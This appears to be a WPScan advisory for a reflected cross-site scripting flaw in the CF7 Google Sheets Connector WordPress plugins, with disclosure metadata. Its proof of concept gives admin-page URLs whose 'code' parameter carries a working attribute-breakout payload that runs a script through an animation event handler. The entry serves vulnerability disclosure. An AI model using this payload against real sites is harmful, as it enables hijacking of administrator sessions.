WordPress Plugin Vulnerabilities
CF7 Google Sheets Connector (Free < 5.0.2, Pro < 2.3.7) - Reflected XSS
Description
The plugins do not escape a parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Proof of Concept
Make a logged in admin open the URL below cf7-google-sheets-connector - https://example.com/wp-admin/admin.php?page=wpcf7-google-sheet-config&code="style=animation-name:rotation onanimationstart=alert(/XSS/)// cf7-google-sheets-connector-pro (when there is already a google token set) - https://example.com/wp-admin/admin.php?page=wpcf7-google-sheet-config&tab=integration&code="style=animation-name:rotation onanimationstart=alert(/XSS/)//
Affects Plugins
References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Erwan LR (WPScan)
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-06-12 (about 11 months ago)
Added
2023-06-12 (about 11 months ago)
Last Updated
2023-07-11 (about 10 months ago)